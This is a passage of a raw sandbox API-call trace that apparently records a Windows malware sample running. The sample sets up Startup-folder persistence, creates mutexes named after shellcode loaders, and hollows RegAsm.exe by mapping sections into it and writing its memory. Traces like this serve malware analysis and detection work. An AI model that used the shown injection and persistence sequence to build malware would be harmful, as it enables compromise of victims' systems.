SecurityQualityOfService=0x0) | out: SectionHandle=0x4f0c8bc*=0x1f0) returned 0x0 [0185.690] NtMapViewOfSection (in: SectionHandle=0x1f0, ProcessHandle=0xffffffff, BaseAddress=0x4f0c8c4*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x4f0c8c0*=0x0, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x2 | out: BaseAddress=0x4f0c8c4*=0xa570000, SectionOffset=0x0, ViewSize=0x4f0c8c0*=0x110000) returned 0x40000003 [0185.691] wcslen (_String="\\KnownDlls32\\user32.dll") returned 0x17 [0185.691] NtOpenSection (in: SectionHandle=0x4f0c8bc, DesiredAccess=0xc, ObjectAttributes=0x4f0c86c*(Length=0x18, RootDirectory=0x0, ObjectName="\\KnownDlls32\\user32.dll", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0) | out: SectionHandle=0x4f0c8bc*=0x1f4) returned 0x0 [0185.691] NtMapViewOfSection (in: SectionHandle=0x1f4, ProcessHandle=0xffffffff, BaseAddress=0x4f0c8c4*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x4f0c8c0*=0x0, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x2 | out: BaseAddress=0x4f0c8c4*=0x4be0000, SectionOffset=0x0, ViewSize=0x4f0c8c0*=0x100000) returned 0x40000003 [0185.691] wcslen (_String="\\KnownDlls32\\Ole32.dll") returned 0x16 [0185.691] NtOpenSection (in: SectionHandle=0x4f0c8bc, DesiredAccess=0xc, ObjectAttributes=0x4f0c86c*(Length=0x18, RootDirectory=0x0, ObjectName="\\KnownDlls32\\Ole32.dll", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0) | out: SectionHandle=0x4f0c8bc*=0x278) returned 0x0 [0185.691] NtMapViewOfSection (in: SectionHandle=0x278, ProcessHandle=0xffffffff, BaseAddress=0x4f0c8c4*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x4f0c8c0*=0x0, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x2 | out: BaseAddress=0x4f0c8c4*=0xa680000, SectionOffset=0x0, ViewSize=0x4f0c8c0*=0x15c000) returned 0x40000003 [0185.692] LoadLibraryA (lpLibFileName="Ole32.dll") returned 0x75c20000 [0185.692] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x750d0000 [0185.693] GetProcAddress (hModule=0x750d0000, lpProcName="CryptAcquireContextW") returned 0x750ddf14 [0185.693] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x750d0000 [0185.693] GetProcAddress (hModule=0x750d0000, lpProcName="CryptCreateHash") returned 0x750ddf4e [0185.693] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x750d0000 [0185.693] GetProcAddress (hModule=0x750d0000, lpProcName="CryptDecrypt") returned 0x75113178 [0185.693] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x750d0000 [0185.693] GetProcAddress (hModule=0x750d0000, lpProcName="CryptDeriveKey") returned 0x75113188 [0185.693] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x750d0000 [0185.694] GetProcAddress (hModule=0x750d0000, lpProcName="CryptDestroyHash") returned 0x750ddf66 [0185.694] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x750d0000 [0185.694] GetProcAddress (hModule=0x750d0000, lpProcName="CryptDestroyKey") returned 0x750dc51a [0185.694] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x750d0000 [0185.694] GetProcAddress (hModule=0x750d0000, lpProcName="CryptHashData") returned 0x750ddf36 [0185.694] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x750d0000 [0185.694] GetProcAddress (hModule=0x750d0000, lpProcName="CryptReleaseContext") returned 0x750de124 [0185.696] LoadLibraryA (lpLibFileName="user32.dll") returned 0x74ea0000 [0185.696] GetProcAddress (hModule=0x74ea0000, lpProcName="MessageBoxA") returned 0x74f0fd1e [0185.696] LoadLibraryA (lpLibFileName="user32.dll") returned 0x74ea0000 [0185.696] LoadLibraryA (lpLibFileName="user32.dll") returned 0x74ea0000 [0185.696] LoadLibraryA (lpLibFileName="user32.dll") returned 0x74ea0000 [0185.696] LoadLibraryA (lpLibFileName="user32.dll") returned 0x74ea0000 [0185.697] GetProcAddress (hModule=0x75c20000, lpProcName="CoInitializeEx") returned 0x75c609ad [0185.697] GetProcAddress (hModule=0x75c20000, lpProcName="CoCreateInstance") returned 0x75c69d0b [0185.697] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Startup_shellcode_006") returned 0x27c [0185.697] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x4f0e7dc | out: Wow64Process=0x4f0e7dc) returned 1 [0185.697] strlen (_Str="%appdata%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\HJdyTuap.exe") returned 0x44 [0185.697] mbstowcs (in: _Dest=0x4f0e470, _Source="%appdata%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\HJdyTuap.exe", _MaxCount=0x45 | out: _Dest="%appdata%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\HJdyTuap.exe") returned 0x44 [0185.697] ExpandEnvironmentStringsW (in: lpSrc="%appdata%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\HJdyTuap.exe", lpDst=0x4f0e678, nSize=0x104 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\HJdyTuap.exe") returned 0x5d [0185.698] strlen (_Str="\\??\\") returned 0x4 [0185.698] mbstowcs (in: _Dest=0x4f0e268, _Source="\\??\\", _MaxCount=0x5 | out: _Dest="\\??\\") returned 0x4 [0185.698] wcscat (in: _Dest=0x4f0e268, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\HJdyTuap.exe" | out: _Dest="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\HJdyTuap.exe") returned="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\HJdyTuap.exe" [0185.698] NtOpenFile (in: FileHandle=0x4f0e7e4, DesiredAccess=0x120089, ObjectAttributes=0x4f0e784*(Length=0x746e6961, RootDirectory=0xa40700, ObjectName=0x7274736c, Attributes=0x576e656c, SecurityDescriptor=0x2ae900, SecurityQualityOfService=0x6c6c6946), IoStatusBlock=0x4f0e7c4, ShareAccess=0x1, OpenOptions=0x40 | out: FileHandle=0x4f0e7e4*=0x7970, IoStatusBlock=0x4f0e7c4*(Status=0x74007373, Pointer=0x74007373, Information=0x6c736377)) returned 0xc000000d [0185.698] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x80010106 [0185.698] strlen (_Str="%appdata%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\HJdyTuap.exe") returned 0x44 [0185.698] mbstowcs (in: _Dest=0x4f0d8e0, _Source="%appdata%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\HJdyTuap.exe", _MaxCount=0x45 | out: _Dest="%appdata%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\HJdyTuap.exe") returned 0x44 [0185.698] ExpandEnvironmentStringsW (in: lpSrc="%appdata%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\HJdyTuap.exe", lpDst=0x4f0def8, nSize=0x104 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\HJdyTuap.exe") returned 0x5d [0185.698] strlen (_Str="\\??\\") returned 0x4 [0185.698] mbstowcs (in: _Dest=0x4f0d4b8, _Source="\\??\\", _MaxCount=0x5 | out: _Dest="\\??\\") returned 0x4 [0185.698] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x4f0d6d8, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x4f0d6d8, ReturnLength=0x0) returned 0x0 [0185.698] wcscat (in: _Dest=0x4f0d4b8, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\HJdyTuap.exe" | out: _Dest="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\HJdyTuap.exe") returned="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\HJdyTuap.exe" [0185.698] wcslen (_String="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\HJdyTuap.exe") returned 0x60 [0185.698] NtOpenFile (in: FileHandle=0x4f0d73c, DesiredAccess=0x120089, ObjectAttributes=0x4f0d708*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\HJdyTuap.exe", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x4f0d6f0, ShareAccess=0x1, OpenOptions=0x40 | out: FileHandle=0x4f0d73c*=0x280, IoStatusBlock=0x4f0d6f0*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0185.698] NtQueryInformationFile (in: FileHandle=0x280, IoStatusBlock=0x4f0d6f8, FileInformation=0x4f0d6c0, Length=0x1000, FileInformationClass=0x5 | out: IoStatusBlock=0x4f0d6f8, FileInformation=0x4f0d6c0) returned 0x0 [0185.698] NtAllocateVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x4f0d738*=0x0, ZeroBits=0x0, RegionSize=0x4f0d734*=0xbd000, AllocationType=0x3000, Protect=0x4 | out: BaseAddress=0x4f0d738*=0x4d20000, RegionSize=0x4f0d734*=0xbd000) returned 0x0 [0185.698] NtReadFile (in: FileHandle=0x280, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x4f0d700, Buffer=0x4d20000, BufferLength=0xbd000, ByteOffset=0x4f0d720*=0, Key=0x0 | out: IoStatusBlock=0x4f0d700, Buffer=0x4d20000) returned 0x103 [0185.712] strlen (_Str="\\??\\") returned 0x4 [0185.712] mbstowcs (in: _Dest=0x4f0dcf0, _Source="\\??\\", _MaxCount=0x5 | out: _Dest="\\??\\") returned 0x4 [0185.712] strlen (_Str="\\??\\") returned 0x4 [0185.712] mbstowcs (in: _Dest=0x4f0dae8, _Source="\\??\\", _MaxCount=0x5 | out: _Dest="\\??\\") returned 0x4 [0185.712] wcscat (in: _Dest=0x4f0dae8, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\HJdyTuap.exe" | out: _Dest="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\HJdyTuap.exe") returned="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\HJdyTuap.exe" [0185.712] wcscat (in: _Dest=0x4f0dcf0, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\HJdyTuap.exe" | out: _Dest="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\HJdyTuap.exe") returned="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\HJdyTuap.exe" [0185.712] wcslen (_String="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\HJdyTuap.exe") returned 0x60 [0185.712] NtOpenFile (in: FileHandle=0x4f0e050, DesiredAccess=0x120089, ObjectAttributes=0x4f0e018*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\HJdyTuap.exe", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x4f0e010, ShareAccess=0x1, OpenOptions=0x40 | out: FileHandle=0x4f0e050*=0x284, IoStatusBlock=0x4f0e010*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0185.712] NtClose (Handle=0x284) returned 0x0 [0185.738] CoTaskMemAlloc (cb=0x20c) returned 0x4bf820 [0185.738] SHGetFolderPathW (in: hwnd=0x0, csidl=36, hToken=0x0, dwFlags=0x0, pszPath=0x4bf820 | out: pszPath="C:\\Windows") returned 0x0 [0185.739] CoTaskMemFree (pv=0x4bf820) [0185.739] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x4f0e7bc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0185.740] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\RegAsm.exe", nBufferLength=0x105, lpBuffer=0x4f0e858, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\RegAsm.exe", lpFilePart=0x0) returned 0x38 [0185.740] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x4f0ecb8) returned 1 [0185.740] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\RegAsm.exe" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\regasm.exe"), fInfoLevelId=0x0, lpFileInformation=0x4f0ed34 | out: lpFileInformation=0x4f0ed34*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d239dc, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x99d239dc, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x99d239dc, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xd000)) returned 1 [0185.758] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x4f0ecb4) returned 1 [0186.001] VirtualAlloc (lpAddress=0x0, dwSize=0x2205, flAllocationType=0x3000, flProtect=0x40) returned 0x870000 [0186.013] CoTaskMemAlloc (cb=0x20c) returned 0x512038 [0186.014] SHGetFolderPathW (in: hwnd=0x0, csidl=36, hToken=0x0, dwFlags=0x0, pszPath=0x512038 | out: pszPath="C:\\Windows") returned 0x0 [0186.014] CoTaskMemFree (pv=0x512038) [0186.014] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x4f0e764, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0186.015] strlen (_Str="kernel32.dll") returned 0xc [0186.015] mbstowcs (in: _Dest=0x4f0c950, _Source="kernel32.dll", _MaxCount=0xd | out: _Dest="kernel32.dll") returned 0xc [0186.016] strlen (_Str="KERNEL32.DLL") returned 0xc [0186.016] mbstowcs (in: _Dest=0x4f0c748, _Source="KERNEL32.DLL", _MaxCount=0xd | out: _Dest="KERNEL32.DLL") returned 0xc [0186.016] strlen (_Str="\\KnownDlls32\\ntdll.dll") returned 0x16 [0186.016] mbstowcs (in: _Dest=0x4f0cb58, _Source="\\KnownDlls32\\ntdll.dll", _MaxCount=0x17 | out: _Dest="\\KnownDlls32\\ntdll.dll") returned 0x16 [0186.016] strlen (_Str="\\KnownDlls32\\advapi32.dll") returned 0x19 [0186.016] mbstowcs (in: _Dest=0x4f0cd60, _Source="\\KnownDlls32\\advapi32.dll", _MaxCount=0x1a | out: _Dest="\\KnownDlls32\\advapi32.dll") returned 0x19 [0186.016] strlen (_Str="\\KnownDlls32\\kernel32.dll") returned 0x19 [0186.016] mbstowcs (in: _Dest=0x4f0dda0, _Source="\\KnownDlls32\\kernel32.dll", _MaxCount=0x1a | out: _Dest="\\KnownDlls32\\kernel32.dll") returned 0x19 [0186.016] strlen (_Str="\\KnownDlls32\\user32.dll") returned 0x17 [0186.016] mbstowcs (in: _Dest=0x4f0db98, _Source="\\KnownDlls32\\user32.dll", _MaxCount=0x18 | out: _Dest="\\KnownDlls32\\user32.dll") returned 0x17 [0186.016] strlen (_Str="\\KnownDlls32\\Ole32.dll") returned 0x16 [0186.016] mbstowcs (in: _Dest=0x4f0d378, _Source="\\KnownDlls32\\Ole32.dll", _MaxCount=0x17 | out: _Dest="\\KnownDlls32\\Ole32.dll") returned 0x16 [0186.016] strlen (_Str="\\KnownDlls\\ntdll.dll") returned 0x14 [0186.016] mbstowcs (in: _Dest=0x4f0d580, _Source="\\KnownDlls\\ntdll.dll", _MaxCount=0x15 | out: _Dest="\\KnownDlls\\ntdll.dll") returned 0x14 [0186.016] strlen (_Str="\\KnownDlls\\advapi32.dll") returned 0x17 [0186.016] mbstowcs (in: _Dest=0x4f0d990, _Source="\\KnownDlls\\advapi32.dll", _MaxCount=0x18 | out: _Dest="\\KnownDlls\\advapi32.dll") returned 0x17 [0186.016] strlen (_Str="\\KnownDlls\\kernel32.dll") returned 0x17 [0186.016] mbstowcs (in: _Dest=0x4f0d170, _Source="\\KnownDlls\\kernel32.dll", _MaxCount=0x18 | out: _Dest="\\KnownDlls\\kernel32.dll") returned 0x17 [0186.016] strlen (_Str="\\KnownDlls\\user32.dll") returned 0x15 [0186.016] mbstowcs (in: _Dest=0x4f0d788, _Source="\\KnownDlls\\user32.dll", _MaxCount=0x16 | out: _Dest="\\KnownDlls\\user32.dll") returned 0x15 [0186.016] strlen (_Str="\\KnownDlls\\Ole32.dll") returned 0x14 [0186.016] mbstowcs (in: _Dest=0x4f0cf68, _Source="\\KnownDlls\\Ole32.dll", _MaxCount=0x15 | out: _Dest="\\KnownDlls\\Ole32.dll") returned 0x14 [0186.016] wcslen (_String="\\KnownDlls32\\advapi32.dll") returned 0x19 [0186.016] NtOpenSection (in: SectionHandle=0x4f0c724, DesiredAccess=0xc, ObjectAttributes=0x4f0c6d4*(Length=0x18, RootDirectory=0x0, ObjectName="\\KnownDlls32\\advapi32.dll", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0) | out: SectionHandle=0x4f0c724*=0x288) returned 0x0 [0186.016] NtMapViewOfSection (in: SectionHandle=0x288, ProcessHandle=0xffffffff, BaseAddress=0x4f0c72c*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x4f0c728*=0x0, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x2 | out: BaseAddress=0x4f0c72c*=0x51a0000, SectionOffset=0x0, ViewSize=0x4f0c728*=0xa0000) returned 0x40000003 [0186.016] wcslen (_String="\\KnownDlls32\\ntdll.dll") returned 0x16 [0186.016] NtOpenSection (in: SectionHandle=0x4f0c724, DesiredAccess=0xc, ObjectAttributes=0x4f0c6d4*(Length=0x18, RootDirectory=0x0, ObjectName="\\KnownDlls32\\ntdll.dll", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0) | out: SectionHandle=0x4f0c724*=0x28c) returned 0x0 [0186.016] NtMapViewOfSection (in: SectionHandle=0x28c, ProcessHandle=0xffffffff, BaseAddress=0x4f0c72c*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x4f0c728*=0x0, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x2 | out: BaseAddress=0x4f0c72c*=0x5240000, SectionOffset=0x0, ViewSize=0x4f0c728*=0x180000) returned 0x40000003 [0186.017] wcslen (_String="\\KnownDlls32\\kernel32.dll") returned 0x19 [0186.017] NtOpenSection (in: SectionHandle=0x4f0c724, DesiredAccess=0xc, ObjectAttributes=0x4f0c6d4*(Length=0x18, RootDirectory=0x0, ObjectName="\\KnownDlls32\\kernel32.dll", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0) | out: SectionHandle=0x4f0c724*=0x290) returned 0x0 [0186.017] NtMapViewOfSection (in: SectionHandle=0x290, ProcessHandle=0xffffffff, BaseAddress=0x4f0c72c*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x4f0c728*=0x0, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x2 | out: BaseAddress=0x4f0c72c*=0x53c0000, SectionOffset=0x0, ViewSize=0x4f0c728*=0x110000) returned 0x40000003 [0186.017] wcslen (_String="\\KnownDlls32\\user32.dll") returned 0x17 [0186.017] NtOpenSection (in: SectionHandle=0x4f0c724, DesiredAccess=0xc, ObjectAttributes=0x4f0c6d4*(Length=0x18, RootDirectory=0x0, ObjectName="\\KnownDlls32\\user32.dll", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0) | out: SectionHandle=0x4f0c724*=0x294) returned 0x0 [0186.017] NtMapViewOfSection (in: SectionHandle=0x294, ProcessHandle=0xffffffff, BaseAddress=0x4f0c72c*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x4f0c728*=0x0, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x2 | out: BaseAddress=0x4f0c72c*=0x54d0000, SectionOffset=0x0, ViewSize=0x4f0c728*=0x100000) returned 0x40000003 [0186.017] wcslen (_String="\\KnownDlls32\\Ole32.dll") returned 0x16 [0186.017] NtOpenSection (in: SectionHandle=0x4f0c724, DesiredAccess=0xc, ObjectAttributes=0x4f0c6d4*(Length=0x18, RootDirectory=0x0, ObjectName="\\KnownDlls32\\Ole32.dll", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0) | out: SectionHandle=0x4f0c724*=0x298) returned 0x0 [0186.017] NtMapViewOfSection (in: SectionHandle=0x298, ProcessHandle=0xffffffff, BaseAddress=0x4f0c72c*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x4f0c728*=0x0, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x2 | out: BaseAddress=0x4f0c72c*=0x55d0000, SectionOffset=0x0, ViewSize=0x4f0c728*=0x15c000) returned 0x40000003 [0186.018] LoadLibraryA (lpLibFileName="Ole32.dll") returned 0x75c20000 [0186.019] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x750d0000 [0186.019] GetProcAddress (hModule=0x750d0000, lpProcName="CryptAcquireContextW") returned 0x750ddf14 [0186.019] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x750d0000 [0186.019] GetProcAddress (hModule=0x750d0000, lpProcName="CryptCreateHash") returned 0x750ddf4e [0186.019] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x750d0000 [0186.019] GetProcAddress (hModule=0x750d0000, lpProcName="CryptDecrypt") returned 0x75113178 [0186.019] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x750d0000 [0186.020] GetProcAddress (hModule=0x750d0000, lpProcName="CryptDeriveKey") returned 0x75113188 [0186.020] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x750d0000 [0186.020] GetProcAddress (hModule=0x750d0000, lpProcName="CryptDestroyHash") returned 0x750ddf66 [0186.020] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x750d0000 [0186.020] GetProcAddress (hModule=0x750d0000, lpProcName="CryptDestroyKey") returned 0x750dc51a [0186.020] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x750d0000 [0186.020] GetProcAddress (hModule=0x750d0000, lpProcName="CryptHashData") returned 0x750ddf36 [0186.020] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x750d0000 [0186.021] GetProcAddress (hModule=0x750d0000, lpProcName="CryptReleaseContext") returned 0x750de124 [0186.022] LoadLibraryA (lpLibFileName="user32.dll") returned 0x74ea0000 [0186.022] GetProcAddress (hModule=0x74ea0000, lpProcName="MessageBoxA") returned 0x74f0fd1e [0186.022] LoadLibraryA (lpLibFileName="user32.dll") returned 0x74ea0000 [0186.022] LoadLibraryA (lpLibFileName="user32.dll") returned 0x74ea0000 [0186.022] LoadLibraryA (lpLibFileName="user32.dll") returned 0x74ea0000 [0186.023] LoadLibraryA (lpLibFileName="user32.dll") returned 0x74ea0000 [0186.023] GetProcAddress (hModule=0x75c20000, lpProcName="CoInitializeEx") returned 0x75c609ad [0186.023] GetProcAddress (hModule=0x75c20000, lpProcName="CoCreateInstance") returned 0x75c69d0b [0186.023] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="frenchy_shellcode_006") returned 0x29c [0186.023] strlen (_Str="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\RegAsm.exe") returned 0x38 [0186.023] strlen (_Str="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\RegAsm.exe") returned 0x38 [0186.024] mbstowcs (in: _Dest=0x4f0e048, _Source="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\RegAsm.exe", _MaxCount=0x39 | out: _Dest="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\RegAsm.exe") returned 0x38 [0186.024] ExpandEnvironmentStringsW (in: lpSrc="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\RegAsm.exe", lpDst=0x4f0e520, nSize=0x104 | out: lpDst="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\RegAsm.exe") returned 0x39 [0186.024] CreateProcessW (in: lpApplicationName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\RegAsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x4f0e628*(cb=0x0, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x4f0e6a8 | out: lpCommandLine=0x0, lpProcessInformation=0x4f0e6a8*(hProcess=0x2a4, hThread=0x2a0, dwProcessId=0x608, dwThreadId=0x55c)) returned 1 [0186.034] NtQueryInformationProcess (in: ProcessHandle=0x2a4, ProcessInformationClass=0x0, ProcessInformation=0x4f0e674, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x4f0e674, ReturnLength=0x0) returned 0x0 [0186.034] NtReadVirtualMemory (in: ProcessHandle=0x2a4, BaseAddress=0x7efde008, Buffer=0x4f0e6c8, NumberOfBytesToRead=0x4, NumberOfBytesRead=0x0 | out: Buffer=0x4f0e6c8*, NumberOfBytesRead=0x0) returned 0x0 [0186.035] NtCreateSection (in: SectionHandle=0x4f0e6a0, DesiredAccess=0xf001f, ObjectAttributes=0x0, MaximumSize=0x4f0e690, SectionPageProtection=0x40, AllocationAttributes=0x8000000, FileHandle=0x0 | out: SectionHandle=0x4f0e6a0*=0x2ac) returned 0x0 [0186.035] NtMapViewOfSection (in: SectionHandle=0x2ac, ProcessHandle=0xffffffff, BaseAddress=0x4f0e6bc*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x4f0e698*=0x58000, InheritDisposition=0x2, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x4f0e6bc*=0x4490000, SectionOffset=0x0, ViewSize=0x4f0e698*=0x58000) returned 0x0 [0186.036] NtMapViewOfSection (in: SectionHandle=0x2ac, ProcessHandle=0x2a4, BaseAddress=0x4f0e6b8*=0x400000, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x4f0e69c*=0x58000, InheritDisposition=0x2, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x4f0e6b8*=0x400000, SectionOffset=0x0, ViewSize=0x4f0e69c*=0x58000) returned 0x0 [0186.057] NtWriteVirtualMemory (in: ProcessHandle=0x2a4, BaseAddress=0x7efde008, Buffer=0x4f0e6b8*, NumberOfBytesToWrite=0x4, NumberOfBytesWritten=0x4f0e68c | out: Buffer=0x4f0e6b8*, NumberOfBytesWritten=0x4f0e68c*=0x4) returned 0x0 [0186.057] NtGetContextThread (in: ThreadHandle=0x2a0, Context=0x4f0e250 | out: Context=0x4f0e250*(ContextFlags=0x10007, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, 